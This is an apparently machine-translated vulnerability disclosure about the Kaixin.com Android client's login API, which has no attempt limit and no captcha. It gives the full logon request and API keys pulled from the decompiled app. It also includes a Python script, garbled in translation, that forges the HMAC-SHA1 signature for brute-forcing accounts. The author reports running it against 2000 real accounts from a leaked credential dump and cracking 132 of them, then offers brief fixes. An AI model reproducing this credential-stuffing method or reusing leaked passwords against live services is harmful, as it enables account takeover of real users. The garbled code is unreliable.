Kaixin.com android client (Interface) has the brute-force cracking vulnerability. Using this client (Interface) to log on does not limit the number of Logon errors and there is no verification code. Through packet capture analysis, the POST request for logon is: POST http://api.kaixin001.com/oauth/access_token Oauth_signature = {signature calculated by the HMAC-SHA1} & x_auth_username = {username} & x_auth_mode = client_auth & oauth_version = 1.0 & oauth_nonce = {A non-repeated 32-bit MD5} & oauth_signature_method = HMAC-SHA1 & oauth_consumer_key = {API Key} & ctype = 15803 AndroidClient & x_auth_password = {plaintext password} & oauth_timestamp = {timestamp} can be seen through the parameter list, signature calculation is the most critical task. After the test, we found that the signature corresponds to the user name. As long as the user name remains unchanged, the corresponding signature can be used repeatedly, regardless of the password. Attackers can exploit this vulnerability to crack a specified account. (If he cannot calculate the signature, he can capture the package to obtain the specified signature.) Of course, to obtain the signature calculation method, I tried to reverse the apk file, the obfuscated java code is obtained. Because the code is too messy, I did not write the java program myself. After tracking a few places, I gave up. However, in this process, I got two keys: public static String a = "87247717949570179fa41c43e20ed289"; public static String B = "empty"; the first one is oauth_consumer_key, and the second one is, is the Key used for HMAC_SHA1 calculation. (In the beginning, I only analyzed that the first key is the API Key, but I am not clear about what the variable B does .) After frustrated by analyzing java source code, I switched to kaixin.com's open platform. Previous questions in java code were solved one by one. In particular, I found an "xAuth Document", which is exactly the authentication method used by kaixin.com android client! http://wiki.open.kaixin001.com/index.php?id=xAuth%E6%96%87%E6%A1%A3 Through this document, I finally found a feasible signature calculation method, and attached the python code: import sys import hmac, hashlib from urllib import urlencode, quote userName = sys. argv [1] passWord = sys. argv [2] oauth_nonce = sys. argv [3] base_string = 'Post & http://api.kaixin001.com/oauth/access_token '+ \' & Oauth_consumer_key = comment '+ \' & oauth_nonce = '+ oauth_nonce + \' & oauth_signature_method = HMAC-SHA1 '+ \' & oauth_timestamp = 1351860016 '+ \' & oauth_version 1.0 & scope = user_rgroup & x_auth_mode = client_auth '+ \' & x_auth_password = '+ passWord +' & x_auth_username = '+ userName base_string = quote (base_string) h = hmac. new ('8207525c8aa35c89b29385057f5905c9 ', base_string, ha Shlib. sha1) s = h. digest () signature = s. encode ('base64'). rstrip () because this timestamp does not work at all, hard code is enough. When running, input three parameters, namely the user name, password, and random MD5 (oauth_nonce) to obtain the available signature value. Then, you can perform the logon test! The leaked CSDN 6 million account was used for testing and testing 2000 accounts. 132 accounts were successfully cracked. Solution: One of my personal suggestions: 1. The key should not be saved in plain text as much as possible, which can be seen after decompilation. 2. The current signature is not exactly the same as the one generated on the client, but it can still be used for logon. (I am referring to the document, but from the perspective of several java code snippets, the android client does not seem to fully comply with the document ?) 3. enable the verification code on the android client. When a verification code is displayed, consider it.